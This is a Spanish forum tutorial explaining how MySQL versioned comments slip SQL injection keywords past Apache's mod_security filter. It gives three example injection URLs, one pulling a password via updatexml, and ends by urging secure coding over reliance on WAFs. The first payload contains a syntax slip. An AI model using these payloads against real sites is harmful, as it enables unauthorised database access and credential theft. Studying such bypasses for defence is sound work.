elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Rompiendo el mod_security de Apache
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Rompiendo el mod_security de Apache  (Leído 2,311 veces)
alienmaster

Desconectado Desconectado

Mensajes: 41


SK8ORDIE


Ver Perfil WWW
Rompiendo el mod_security de Apache
« en: 7 Abril 2016, 00:33 am »

Introduccion
Como muchos conocemos, por allá por el 2005 con la aparición de las inyecciones SQL y demás agujeros de seguridad en php, Apache implementó un modulo llamado mod_security el cual funciona como una especie de WAF (Web Application Firewall) que bloquea nuestras peticiones a la aplicación cuando detecta valores sospechosos por GET, POST, COOKIE, etc... Hoy en día siguen habiendo muchas aplicaciones web (desde la de la tienda del chapuzas de la esquina, hasta gubernamentales) con este modulo activado en su servidor pensando así sus administradores que está libres de posibles inyecciones y demás.

¿Cómo funciona mod_security?
El mod_security actúa en una capa sobre la ejecución de código, filtrando las peticiones al servidor a las que lleguen parámetros sospechosos como puede ser por ejemplo en una variable GET un "AND 1=1", UNION, entre otros... Entonces si este es el caso el servidor bloquea la peticion mostrándonos una pagina de error. De esta manera nos impide poder realizar una inyección SQL.


Rompiendo el mod_security
Sabiendo que el mod_security se blinda funcionando con un filtrado de expresiones, para evitarlo tan solo hay que saltar ese filtrado, pero claro si en el están incluidas palabras como UNION, UpdateXML, SELECT, WHERE, etc.. ¿cómo conseguimos ejecutar nuestras sentencias? pues muy sencillo, en MySQL existe una sintaxis para ejecutar dichos parámetros solo si el MySQL que se ejecuta es bajo una versión en concreto (ideal para los dump) la cual funciona de la siguiente manera:

Código:
/*!40101 DELETE FROM ejemplo WHERE version=4 */
/*!50000 DELETE FROM ejemplo WHERE version=5 */

El código anterior si lo ejecutamos en una versión 4.x de MySQL solo ejecutará la primera sentencia, pues en la segunda le estamos diciendo que sea en versiones mayores a la 5. ¿Qué conseguimos con esto? pues que el mod_security no tiene filtrada esta sintaxis, es decir que cuando introducimos una petición GET con la sentencia en este formato se la tragará y nos ejecutará la inyección, aquí dejo algunos ejemplos:

Código:
http://www.victima.com/acceso.php?codigo='/!*50000OR*/ 1=1
http://www.victima.com/ver?idc=265' /*!50000AND*/ updatexml(null,concat(0x3a,(SELECT pass FROM tabla LIMIT 0,1)),1)
http://www.victima.com/tfno.php?id=.4'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7--

Conclusión
Como conclusión final de esta entrada pues creo que sobra decir, que lo mejor es hacer nuestras aplicaciones seguras, y evitar llegar a practicas como estas, pues un WAF, ya sea mod_security u otro en muchos casos no es seguro y la seguridad de nuestra web puede caer. Y en caso de que el WAF fuera seguro, imaginaros que en un momento por algún despiste del administrador, actualización o algo este se desactive, nuestra aplicación quedaría expuesta, así que lo mejor es no depender de estos módulos.

Fuente:
http://www.elefren.es/bypass-mod-security-php/
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Otro Tip para Shells (Safe_Mode y Mod_Security) By Zero Bits
Nivel Web
Zero_Bits 2 4,755 Último mensaje 27 Septiembre 2009, 19:17 pm
por WHK
SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
Nivel Web
Login-Root 5 5,867 Último mensaje 18 Marzo 2013, 21:17 pm
por WHK
Apache mod_security xampp windows
Seguridad
WIитX 2 4,533 Último mensaje 4 Diciembre 2014, 16:51 pm
por WIитX
Rompiendo .arj contraseña
Ingeniería Inversa
Geovane 5 2,844 Último mensaje 17 Febrero 2017, 00:06 am
por engel lex
Rompiendo LTE en la capa dos
Noticias
r32 0 928 Último mensaje 2 Julio 2018, 22:39 pm
por r32
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines